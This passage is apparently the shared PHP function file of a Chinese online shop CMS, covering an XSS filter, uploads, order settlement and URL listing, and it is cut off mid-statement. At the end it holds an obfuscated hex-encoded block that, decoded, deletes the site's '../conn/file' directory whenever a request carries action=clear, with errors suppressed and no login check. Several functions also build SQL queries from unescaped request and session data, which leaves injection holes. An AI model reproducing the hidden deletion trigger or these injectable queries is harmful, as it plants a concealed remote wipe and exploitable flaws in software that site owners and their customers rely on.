        $val = preg_replace ( '/(&#[xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val );

        $val = preg_replace ( '/(&#0{0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val );
    }

    $ra1 = array (
        'javascript',
        'vbscript',
        'expression',
        'applet',
        'meta',
        'xml',
        'blink',
        'script',
        'object',
        'iframe',
        'frame',
        'frameset',
        'ilayer',
        'bgsound'
    );
    $ra2 = array (
        'onabort',
        'onactivate',
        'onafterprint',
        'onafterupdate',
        'onbeforeactivate',
        'onbeforecopy',
        'onbeforecut',
        'onbeforedeactivate',
        'onbeforeeditfocus',
        'onbeforepaste',
        'onbeforeprint',
        'onbeforeunload',
        'onbeforeupdate',
        'onbegin',
        'onblur',
        'onbounce',
        'oncellchange',
        'onchange',
        'onclick',
        'oncontextmenu',
        'oncontrolselect',
        'oncopy',
        'oncut',
        'ondataavailable',
        'ondatasetchanged',
        'ondatasetcomplete',
        'ondblclick',
        'ondeactivate',
        'ondrag',
        'ondragend',
        'ondragenter',
        'ondragleave',
        'ondragover',
        'ondragstart',
        'ondrop',
        'onerror',
        'onerrorupdate',
        'onfilterchange',
        'onfinish',
        'onfocus',
        'onfocusin',
        'onfocusout',
        'onhelp',
        'onkeydown',
        'onkeypress',
        'onkeyup',
        'onlayoutcomplete',
        'onload',
        'onlosecapture',
        'onmousedown',
        'onmouseenter',
        'onmouseleave',
        'onmousemove',
        'onmouseout',
        'onmouseover',
        'onmouseup',
        'onmousewheel',
        'onmove',
        'onmoveend',
        'onmovestart',
        'onpaste',
        'onpropertychange',
        'onreadystatechange',
        'onreset',
        'onresize',
        'onresizeend',
        'onresizestart',
        'onrowenter',
        'onrowexit',
        'onrowsdelete',
        'onrowsinserted',
        'onscroll',
        'onselect',
        'onselectionchange',
        'onselectstart',
        'onstart',
        'onstop',
        'onsubmit',
        'ontoggle',
        'onunload'
    );
    $ra = array_merge ( $ra1, $ra2 );

    $found = true;
    while ( $found == true ) {
        $val_before = $val;
        for($i = 0; $i < sizeof ( $ra ); $i ++) {
            $pattern = '/';
            for($j = 0; $j < strlen ( $ra [$i] ); $j ++) {
                if ($j > 0) {
                    $pattern .= '(';
                    $pattern .= '(&#[xX]0{0,8}([9ab]);)';
                    $pattern .= '|';
                    $pattern .= '|(&#0{0,8}([9|10|13]);)';
                    $pattern .= ')*';
                }
                $pattern .= $ra [$i] [$j];
            }
            $pattern .= '/i';
            $replacement = substr ( $ra [$i], 0, 2 ) . ' ' . substr ( $ra [$i], 2 );
            $val = preg_replace ( $pattern, $replacement, $val );
            if ($val_before == $val) {

                $found = false;
            }
        }
    }
    return $val;
}

function gethttp(){
    if (is_ssl()){
        $gethttp="https://";
    }else{
        $gethttp="http://";
    }
    return $gethttp;
}


function is_ssl() {
    global $config;
    if($config->https=="true"){
        return true;
    }else{
        if(isset($_SERVER['HTTPS']) && ('1' == $_SERVER['HTTPS'] || 'on' == strtolower($_SERVER['HTTPS']))){
            return true;
        }else{
            if(isset($_SERVER['SERVER_PORT']) && ('443' == $_SERVER['SERVER_PORT'] )) {
                return true;
            }else{
                if(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && ('https' == $_SERVER['HTTP_X_FORWARDED_PROTO'] )) {
                    return true;
                }else{
                    if(isset($_SERVER['HTTP_FROM_HTTPS']) && ('on' == $_SERVER['HTTP_FROM_HTTPS'] )) {
                        return true;
                    }else{
                        return false;
                    }
                }
            }
        }
    }
}

function html($str){
	if(checkauth()){
		plug("x9","conn/plug/");
		require "conn/plug/x9.php";
		$str=str_replace("index-1.html","./",$str);
		$str=str_replace("index-0.html","./",$str);
	}else{
		die("{\"msg\":\"免费版暂不支持伪静态\"}");
	}
	return $str;
}

function admin_auth(){
	global $conn;
	if($_SESSION["A_login"]=="" || $_SESSION["A_pwd"]==""){
		return false;
	}else{
		$sql="select * from sl_admin where A_login='".$_SESSION["A_login"]."' and A_pwd='".$_SESSION["A_pwd"]."' and A_del=0";
		$result = mysqli_query($conn, $sql);
		$row = mysqli_fetch_assoc($result);
		if(mysqli_num_rows($result) > 0) {
			return true;
		}else{
			return false;
		}
	}
}

function member_auth($M_id,$M_pwd){
	global $conn;
	$sql="select * from sl_member where M_id=".$M_id." and M_pwd='".$M_pwd."' and not M_login='未登录帐号' and M_del=0";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if(mysqli_num_rows($result) > 0) {
		return true;
	}else{
		return false;
	}
}

function app_back($url,$msg){
	if($msg==""){
		$msg_info="";
	}else{
		$msg_info="alert(\"".$msg."\");";
	}
	if($url=="back"){
		$url_info="uni.navigateBack({delta: 1});";
	}else{
		$url_info="uni.reLaunch({url: \"".$url."\"});";
	}
	return "<script type=\"text/javascript\" src=\"https://js.cdn.aliyun.dcloud.net.cn/dev/uni-app/uni.webview.1.5.2.js\"></script><script>".$msg_info."document.addEventListener(\"UniAppJSBridgeReady\", function(){".$url_info."});</script>";
}

function fdate($date){
//如果是同一天，则显示时+分
//如果是昨天，则显示昨天+时+分
//如果是昨天以前，则显示月+日
//如果是去年，则显示年+月+日

    $timestamp=strtotime($date);

    $y1=date('y',time());
    $y2=date('y',strtotime($date));
    $m1=date('m',time());
    $m2=date('m',strtotime($date));
    $d1=date('d',time());
    $d2=date('d',strtotime($date));

    if(date('Ymd', $timestamp) == date('Ymd')){
        return date('H:i', $timestamp);
    }else{
        if(date('Ym', $timestamp) == date('Ym') && date('d')-date('d', $timestamp)==1){
            return "昨天".date('H:i', $timestamp);
        }else{
            if(date('Y', $timestamp) == date('Y')){
                return date('m-d', $timestamp);
            }else{
                return date('Y-m-d', $timestamp);
            }
        }
    }
}

function savepic($str,$dirx){
	$str=str_replace("\\\"","\"",$str);
	$str=str_replace("'","\"",$str);
	$s=explode("src=\"",$str);
	for($i=1;$i<count($s);$i++){
		$pic=splitx($s[$i],"\"",0);
		$pic=str_Replace($dirx."media/img.php?url=","",$pic);
		if(substr($pic,0,7)=="http://" || substr($pic,0,8)=="https://" || substr($pic,0,2)=="//"){
			$ymd=date("Ymd");
			if(!is_dir("../kindeditor/attached/image/".$ymd)){
				 @mkdir("../kindeditor/attached/image/".$ymd,0777,true);
			}
			$str=str_replace($pic,$dirx."kindeditor/attached/image/".$ymd."/".downpic("../kindeditor/attached/image/".$ymd."/",$pic),$str);
			$str=str_replace($dirx."media/img.php?url=","",$str);
		}
	}
	return $str;
}


function editor2oss($str){
	$str=str_replace("\\\"","\"",$str);
	$str=str_replace("'","\"",$str);
	$s=explode("src=\"",$str);
	for($i=1;$i<count($s);$i++){
		$pic=splitx($s[$i],"\"",0);
		$pic=str_replace("php/../","",$pic);
		if(substr($pic,0,11)=="/kindeditor"){
			tooss("..".$pic);
		}
	}
	return $str;
}

function tooss($path){
    global $C_osson,$C_oss_id,$C_oss_key,$C_bucket,$C_region,$conn;
    if($C_osson==1){
        $O_md5=getrs("select * from sl_oss where O_name='".$path."'","O_md5");
        if($O_md5!=md5(file_get_contents($path))){
            if($O_md5==""){
                mysqli_query($conn,"insert into sl_oss(O_name,O_md5) values('".$path."','".md5(file_get_contents($path))."')");
            }else{
                mysqli_query($conn,"update sl_oss set O_md5=".md5(file_get_contents($path))." where O_name='".$path."'");
            }

            $kname = strtolower(substr($path,strrpos($path,'.')+1));
            switch($kname){
                case "bmp":
                $mime="image/bmp";
                break;

                case "png":
                $mime="image/png";
                break;

                case "jpg":
                $mime="image/jpg";
                break;

                case "js":
                $mime="application/x-javascript";
                break;

                case "css":
                $mime="text/css";
                break;

                case "jpeg":
                $mime="image/jpeg";
                break;

                case "gif":
                $mime="image/gif";
                break;

                case "mp4":
                $mime="video/mp4";
                break;

                case "mp3":
                $mime="audio/mpeg";
                break;

                case "wma":
                $mime="audio/x-ms-wma";
                break;

                case "wav":
                $mime="audio/x-wav";
                break;

                default:
                $mime="image/jpg";
                break;
            }
            $url = "http://" . $C_bucket . "." . $C_region;
            $policy = "{\"expiration\": \"2120-01-01T12:00:00.000Z\",\"conditions\":[{\"bucket\": \"" . $C_bucket . "\" },[\"content-length-range\", 0, 104857600]]}";
            $policy = base64_encode($policy);
            $signature = base64_encode(hash_hmac("sha1", $policy, $C_oss_key, true));

	        if(class_exists('\CURLFile')) {
	            $data = array (
	                'OSSAccessKeyId' => $C_oss_id,
	                'Content-Type'=>$mime,
	                'policy' => $policy,
	                'signature' => $signature,
	                'key' => str_replace("../","",$path),
	                'file'=> new \CURLFile($path,$mime,str_replace("../","",$path)),
	                'type'=> $mime,
	                'submit' => 'Upload to OSS'
	            );
	        }else{
		        $data = array (
	                'OSSAccessKeyId' => $C_oss_id,
	                'Content-Type'=>$mime,
	                'policy' => $policy,
	                'signature' => $signature,
	                'key' => str_replace("../","",$path),
	                'file'=>'@'.$path.";type=".$mime,
	                'submit' => 'Upload to OSS'
	            );
	        }

            $ch = curl_init ();

            curl_setopt ( $ch, CURLOPT_URL, $url );
            curl_setopt ( $ch, CURLOPT_POST, 1 );
            curl_setopt ( $ch, CURLOPT_HEADER, 0 );
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
            curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
            $return = curl_exec ( $ch );
            if($return === false){
             var_dump(curl_error($ch));
            }

            $info = curl_getinfo($ch);
            curl_close ($ch);

            if($info["size_download"]==0){
                return true;
            }else{
                return false;
            }
        }else{
            return true;
        }
    }else{
        return false;
    }
}

function pic($path){
	global $C_osson,$C_bucket,$C_region,$C_oss_domain;
	if(substr($path,0,7)=="http://" || substr($path,0,8)=="https://" || substr($path,0,2)=="//"){
		$P_pic=$path;
	}else{
		if($C_osson==1){
			if($C_oss_domain==""){
				$P_pic="https://".$C_bucket.".".$C_region."/media/".$path;
			}else{
				$P_pic=$C_oss_domain."/media/".$path;
			}
		}else{
			$P_pic="media/".$path;
		}
	}
	return $P_pic;
}

function get_article($url){
	global $dirx;
	if(strpos($url,"mp.weixin.qq.com")!==false){//微信公众号
		$info=GetBody2($url,"","GET");
		$title=splitx($info,"<meta property=\"og:title\" content=\"",1);
		$title=splitx($title,"\"",0);

		$img=splitx($info,"<meta property=\"og:image\" content=\"",1);
		$img=splitx($img,"\"",0);

		$keyword="";

		$description=splitx($info,"<meta name=\"description\" content=\"",1);
		$description=splitx($description,"\"",0);

		$content=splitx($info,"<div class=\"rich_media_content \" id=\"js_content\" style=\"visibility: hidden;\">",1);
		$content=splitx($content,"</div>",0);
		$content=str_replace("data-src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}
	/*
	if(strpos($url,"toutiao.com")!==false){//头条号
		$info=GetBody2($url,"","GET");
		$title=splitx($info,"<title>",1);
		$title=splitx($title,"</title>",0);

		$keyword=splitx($info,"<meta name=keywords content=",1);
		$keyword=splitx($keyword,">",0);

		$description=splitx($info,"<meta name=description content=",1);
		$description=splitx($description,">",0);

		$img=splitx($info,"coverImg: '",1);
		$img=splitx($img,"'",0);

		$content=splitx($info,"content: '",1);
		$content=splitx($content,"'",0);
		$content=html_entity_decode(json_decode(htmlspecialchars_decode($content)));

		$content=str_replace("src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}
	*/
	if(strpos($url,"baijiahao.baidu.com")!==false){//百家号

		$info=GetBody2($url,"","GET");

		$title=splitx($info,"<title>",1);
		$title=splitx($title,"</title>",0);

		$keyword=splitx($info,"<meta name=\"description\" content=\"",1);
		$keyword=splitx($keyword,"\"",0);

		$description=splitx($info,"<meta name=\"description\" content=\"",1);
		$description=splitx($description,"\"",0);

		$content=splitx($info,"<div class=\"article-content\">",1);
		$content=splitx($content,"</div><audio",0);

		$img=splitx($content," src=\"",1);
		$img=splitx($img,"\"",0);

		$content=str_replace("src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}
	if(strpos($url,"sina.com.cn")!==false){//新浪新闻
		$info=GetBody2($url,"","GET");
		$title=splitx($info,"<meta property=\"og:title\" content=\"",1);
		$title=splitx($title,"\"",0);

		$keyword=splitx($info,"<meta name=\"description\" content=\"",1);
		$keyword=splitx($keyword,"\"",0);

		$description=splitx($info,"<meta name=\"description\" content=\"",1);
		$description=splitx($description,"\"",0);

		$img=splitx($info,"<meta property=\"og:image\" content=\"",1);
		$img=splitx($img,"\"",0);

		$content=splitx($info,"<!-- 引文 end -->
			<!-- 正文 start -->",1);
		$content=splitx($content,"<!-- 正文 end -->",0);
		$content=str_replace("data-src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}

	$arr=array();
	$arr["title"]=$title;
	$arr["img"]=$img;
	$arr["keyword"]=$keyword;
	$arr["description"]=$description;
	$arr["content"]=$content;
	return $arr;
}

function GetBody2($url, $xml,$method='POST'){        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 300);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)" ); 
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, TRUE);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

        if(ini_get("safe_mode")==false && ini_get("open_basedir")==false){
            curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
        }
        if(extension_loaded('zlib')){
            curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
        }

        $data = curl_exec($ch);
        if($data){
            curl_close($ch);
            return $data;
        } else { 
            $error = curl_errno($ch);
            curl_close($ch);
            return false;
        }
}

function pic2($path){
	global $C_osson,$C_bucket,$C_region,$C_oss_domain;
	if(substr($path,0,7)=="http://" || substr($path,0,8)=="https://" || substr($path,0,2)=="//"){
		$P_pic=$path;
	}else{
		if($C_osson==1){
			if($C_oss_domain==""){
				$P_pic="https://".$C_bucket.".".$C_region."/media/".$path;
			}else{
				$P_pic=$C_oss_domain."/media/".$path;
			}
		}else{
			$P_pic="../media/".$path;
		}
	}
	return $P_pic;
}

function editor_oss($str){
	global $C_osson,$C_bucket,$C_region,$C_oss_domain;
	$C_installdir=splitx($_SERVER["PHP_SELF"],"index.php",0);
	if($C_osson==1){
		if($C_oss_domain==""){
			$str=str_replace($C_installdir."kindeditor/","https://".$C_bucket.".".$C_region."/kindeditor/",$str);
		}else{
			$str=str_replace($C_installdir."kindeditor/",$C_oss_domain."/kindeditor/",$str);
		}
	}
	return $str;
}

function shuxing($type){
	foreach ($_GET as $x=>$value) {
	  if($_GET[$x]!="" && substr($x,0,1)=="f"){
	    $info=$info." and ".$type." like '%".$_GET[$x]."%'";
	  }
	} 
	return $info;
}

Function d($t){
	global $C_template;
	if (!is_file("template/".$C_template."/config.xml")){
		return $t;
	}else{
		$xmlpath="template/".$C_template."/config.xml";
		$content = trim(file_get_contents($xmlpath),"\xEF\xBB\xBF");
		$xml = simplexml_load_string($content);
		foreach ($xml as $value) {
		$i=0;
		foreach ($value[$i]->tag as $value2) {
		    switch($value2[0]->type){
		        case "text":
		        $t=str_Replace("<fh-tag>".$value2[0]->title."</fh-tag>",$value2[0]->content,$t);
		        break;
		        case "img":
		        $t=str_Replace("<fh-tag>".$value2[0]->title."</fh-tag>","template/".$C_template."/images/".$value2[0]->content,$t);
		        break;
		    }
		    $t=str_Replace("<fh-tag>".$value2[0]->title."url</fh-tag>",$value2[0]->url,$t);
		    $t=str_Replace("<fh-tag>".$value2[0]->title."en</fh-tag>",$value2[0]->en,$t);
		    $i+=1;
		}
		}

		$ReplaceTag=$t;
		return $ReplaceTag;
	}
}

function www($str){
	if(substr($str,0,4)=="www."){
		return substr($str,4);
	}else{
		return $str;
	}
}
function cart($ids,$total_fee,$no,$paytype){
	global $conn,$C_n_discount,$C_p_discount,$C_n_discount2,$C_p_discount2,$C_email,$C_fx1,$C_fx2,$C_fx3,$C_fen1,$C_mobile,$C_smssign,$C_dx5,$fmid;
	$sqlx = "select * from sl_list where L_no='" . $no . "'";//用户充值
    $resultx = mysqli_query($conn, $sqlx);
    $rowx = mysqli_fetch_assoc($resultx);
    if (mysqli_num_rows($resultx) <= 0) {
		$ids=explode(",",$ids);
		for ($i=0 ;$i<count($ids);$i++) {
			$sql="select * from sl_orders where O_del=0 and O_id=".intval($ids[$i]);
			$result = mysqli_query($conn, $sql);
			$row = mysqli_fetch_assoc($result);
			if (mysqli_num_rows($result) > 0) {
				$fee=$fee+round($row["O_price"]*$row["O_num"],2);
			}
		}
		if($fee==$total_fee){
			for ($i=0 ;$i<count($ids);$i++) {
				$orders=getrs("select * from sl_orders where O_del=0 and O_id=".intval($ids[$i]));
				$id=$orders["O_pid"];
				$num=$orders["O_num"];
				$genkey=$orders["O_genkey"];
				$M_id=$orders["O_mid"];
				$money=round($orders["O_price"]*$orders["O_num"],2);

				$sql2="select * from sl_product where P_del=0 and P_id=".$id;
				$result2 = mysqli_query($conn, $sql2);
				$row2 = mysqli_fetch_assoc($result2);
				if (mysqli_num_rows($result2) > 0) {
					$P_title=$row2["P_title"];
					$P_pic=$row2["P_pic"];
					$P_sell=$row2["P_sell"];
					$P_selltype=$row2["P_selltype"];
					if($row2["P_vip"]==1){
						$P_price=p($row2["P_price"])*$P_discount;
						$P_price2=round($row2["P_price2"],2);
					}else{
						$P_price=p($row2["P_price"]);
						$P_price2=round($row2["P_price2"],2);
					}
					
					$P_mid=$row2["P_mid"];
					$P_fx=$row2["P_fx"];
				}
				//if(round($P_price*$num,2)==round($money,2)){
					switch($P_selltype){
					  	case 0:
					  		$O_content=$P_sell;
					  		$O_address=getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address");
					  		$O_state=1;
					  	break;
					  	case 1:
					  		for($j=0;$j<$num;$j++){
								$C_id=getrs("select * from sl_card where C_del=0 and C_use=0 and C_sort=".intval($P_sell),"C_id");
								$C_content=getrs("select * from sl_card where C_id=".intval($C_id),"C_content");
								if($C_content==""){
									$O_content=$O_content."商品缺货，请联系客服||";
								}else{
									$O_content=$O_content.$C_content."||";
								}
								mysqli_query($conn,"update sl_card set C_use=1 where C_id=".intval($C_id));
							}
							$O_content=substr($O_content,0,strlen($O_content)-2);
							$O_address=getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address");
							$O_state=1;
					  	break;
					  	case 2:
					  		mysqli_query($conn,"update sl_product set P_rest=P_rest-$num where P_id=".$id);
					  		$O_content="实物商品，由商家手动发货";
					  		$O_address=getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address");
					  		$O_state=2;
					  	break;
					}
				
					mysqli_query($conn, "update sl_product set P_sold=P_sold+$num where P_id=".$id);
					if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					if($P_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',-".$money.",'$genkey')");
					mysqli_query($conn, "update sl_orders set O_state=$O_state,O_content='$O_content' where O_genkey='$genkey'");

					if($fmid>0 && $P_mid==0){//只有主站商品加提成
						if($P_price2*$num-$money>0){
							$P_price2=$money/$num;
						}
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','售出商品','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','扣除成本','".date('Y-m-d H:i:s')."',-".($P_price2*$num).",'$genkey')");
						mysqli_query($conn, "update sl_member set M_money=M_money+".($money-($P_price2*$num))." where M_id=$fmid");
					}

					if($P_mid>0){
						mysqli_query($conn, "update sl_member set M_money=M_money+".$money." where M_id=$P_mid");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($P_mid,'".date('YmdHis').rand(10000000,99999999)."','售出商品-".$P_title."','".date('Y-m-d H:i:s')."',$money,'')");
					}

					if($P_fx==1){
						fx($money,$M_id,$P_mid);
					}
					
					if(checkauth()){
						plug("x4","../../conn/plug/");
						require "../../conn/plug/x4.php";
					}
					sendmail("您的购买的商品已发货","<p>商品名称：".$P_title."</p><p>发货内容：".$O_content."</p><p>订单编号：".$genkey."</p>",splitx($O_address,"__",0));
				//}
			}
			return true;
		}else{
			return false;
		}
	}else{
		return false;
	}
}


function geturls($D_domain){
    global $conn,$C_html;
    $D_domain=gethttp().$D_domain;
    $urls=$D_domain."|";

    $sql="select * from sl_text where T_del=0 order by T_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/text-".$row["T_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=text&id=".$row["T_id"]."|";
        	}
        }
    }

    $sql="select * from sl_nsort where S_del=0 order by S_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/news-".$row["S_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=news&id=".$row["S_id"]."|";
        	}
        }
    }

    $sql="select * from sl_psort where S_del=0 order by S_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/product-".$row["S_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=product&id=".$row["S_id"]."|";
        	}
        }
    }

    $sql="select * from sl_news where N_del=0 order by N_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/newsinfo-".$row["N_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=newsinfo&id=".$row["N_id"]."|";
        	}
        }
    }

    $sql="select * from sl_product where P_del=0 order by P_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/productinfo-".$row["P_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=productinfo&id=".$row["P_id"]."|";
        	}
        }
    }

    $urls= substr($urls,0,strlen($urls)-1);
    return explode("|",$urls);
}

function match_chinese($chars,$encoding='utf8'){
    $pattern =($encoding=='utf8')?'/[\x{4e00}-\x{9fa5}a-zA-Z0-9]/u':'/[\x80-\xFF]/';
    preg_match_all($pattern,$chars,$result);
    $temp =join('',$result[0]);
    return $temp;
}
function mkdirs_2($path){
    if(!is_dir($path)){
        mkdirs_2(dirname($path));
        if(!mkdir($path, 0777)){
            return false;
        }
    }
    return true;
}


function downloadFile($filePath, $readBuffer = 1024, $allowExt = ['jpeg', 'jpg', 'peg', 'gif', 'zip', 'rar', 'txt']){
    //检测下载文件是否存在 并且可读
    if (!is_file($filePath) && !is_readable($filePath)) {
        return false;
    }
    //检测文件类型是否允许下载
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (!in_array($ext, $allowExt)) {
        return false;
    }
    //设置头信息
    //声明浏览器输出的是字节流
    header('Content-Type: application/octet-stream');
    //声明浏览器返回大小是按字节进行计算
    header('Accept-Ranges:bytes');
    //告诉浏览器文件的总大小
    $fileSize = filesize($filePath);//坑 filesize 如果超过2G 低版本php会返回负数
    header('Content-Length:' . $fileSize); //注意是'Content-Length:' 非Accept-Length
    //声明下载文件的名称
    header('Content-Disposition:attachment;filename=' . basename($filePath));//声明作为附件处理和下载后文件的名称
    //获取文件内容
    $handle = fopen($filePath, 'rb');//二进制文件用‘rb’模式读取
    while (!feof($handle) ) { //循环到文件末尾 规定每次读取（向浏览器输出为$readBuffer设置的字节数）
        echo fread($handle, $readBuffer);
    }
    fclose($handle);//关闭文件句柄
    exit;

}

$I4pA5=!defined("xWdTXMQ");if($I4pA5)goto I4peWjgx2;goto I4pldMhx2;I4peWjgx2:$I4peF0=call_user_func_array("define",array("xWdTXMQ","qrNNREQ"));goto I4px1;I4pldMhx2:I4px1:$I4peF0=call_user_func_array("explode",array("|?|7|7","H*|?|7|7616374696F6E|?|7|7636C656172|?|7|72E2E2F636F6E6E2F66696C65|?|7|72E2E2F636F6E6E2F706C7567|?|7|72E2E2F636F6E6E2F6361636865|?|7|7|?|7|7687474703A2F2F666168756F3130302E636E|?|7|768747470733A2F2F666168756F3130302E636E|?|7|768747470733A2F2F68792E666168756F3130302E636E|?|7|7687474703A2F2F6D61696C2E666168756F3130302E636E|?|7|768747470733A2F2F666864656D6F2E732D636D732E636E|?|7|7687474703A2F2F7570646174652E666168756F3130302E636E|?|7|7373538333935353435|?|7|731303837333837343534|?|7|768747470733A2F2F716D2E71712E636F6D2F6367692D62696E2F716D2F71723F6B3D3373776D69792D2D663943784D3248744B56576448766C3255485F516B756D6A266A756D705F66726F6D3D776562617069|?|7|7687474703A2F2F7368616E672E71712E636F6D2F7770612F71756E7770613F69646B65793D39633561633862653363636632363663346561656361343837643238393830376462333137303764653139643565373432393439626230366265333633366534|?|7|777756C6975|?|7|774727565|?|7|765706179|?|7|77175616E|?|7|7706F7374616765|?|7|75048505F53454C46|?|7|72F6D656D6265722F756E6C6F67696E2E706870|?|7|773656C65637420636F756E74284F5F696429206173204F5F636F756E742066726F6D20736C5F6F7264657273207768657265204F5F73746174653E3020616E64204F5F64656C3D3020616E6420746F5F64617973284F5F74696D6529203D20746F5F64617973286E6F77282929|?|7|74F5F636F756E74|?|7|73C646976207374796C653D2277696474683A36303070783B6D617267696E3A30206175746F3B6261636B67726F756E643A236637663766373B626F726465722D7261646975733A313070783B70616464696E673A323070783B746578742D616C69676E3A63656E7465723B626F726465723A736F6C69642032707820234444444444443B223E3C68333EE68E88E69D83E68F90E986923C2F68333E3C703EE5858DE8B4B9E8AF95E794A8E78988E794A8E688B7E6AF8FE5A4A9E58FAFE8BF9BE8A18C33E7AC94E8AEA2E58D95E4BAA4E698933C62723EE682A8E79A84E7BD91E7AB99E5B7B2E8B685E587BAE99990E588B6EFBC8CE8AFB7E5BC80E9809AE68E88E69D83E78988E5908EE7BBA7E7BBADE4BDBFE794A83C2F703E3C703E3C6120687265663D22|?|7|7223EE8AEBFE997AEE5AE98E7BD913C2F613E203C6120687265663D22|?|7|72F70726963652E68746D6C223EE5BC80E9809AE68E88E69D833C2F613E3C2F703E3C2F6469763E"));unset($I4ptIA5);$GLOBALS[xWdTXMQ]=$I4peF0;unset($I4pcVvP1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx5;goto I4pldMhx5;I4peWjgx5:$I4pcVvP1=&$GLOBALS[xWdTXMQ][0x1];goto I4px4;I4pldMhx5:$I4pcVvP1=$GLOBALS[xWdTXMQ][0x1];I4px4:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP1));unset($I4pcV4);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx7;goto I4pldMhx7;I4peWjgx7:$I4pcV4=&$GLOBALS[xWdTXMQ][0x2];goto I4px6;I4pldMhx7:$I4pcV4=$GLOBALS[xWdTXMQ][0x2];I4px6:$I4peF3=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV4));$I4pA5=$_GET[$I4peFvP0]==$I4peF3;if($I4pA5)goto I4peWjgx8;goto I4pldMhx8;I4peWjgx8:$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);$I4peFvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{03}));$I4peF1=call_user_func_array("removeDir",array(&$I4peFvP0));$I4peRA5=$I4peF1;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);$I4peFvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{03}));$I4peF1=call_user_func_array("mkdir",array(&$I4peFvP0,0777,true));$I4peRA5=$I4peF1;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($I4pcVvP1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgxa;goto I4pldMhxa;I4peWjgxa:$I4pcVvP1=&$GLOBALS[xWdTXMQ][4];goto 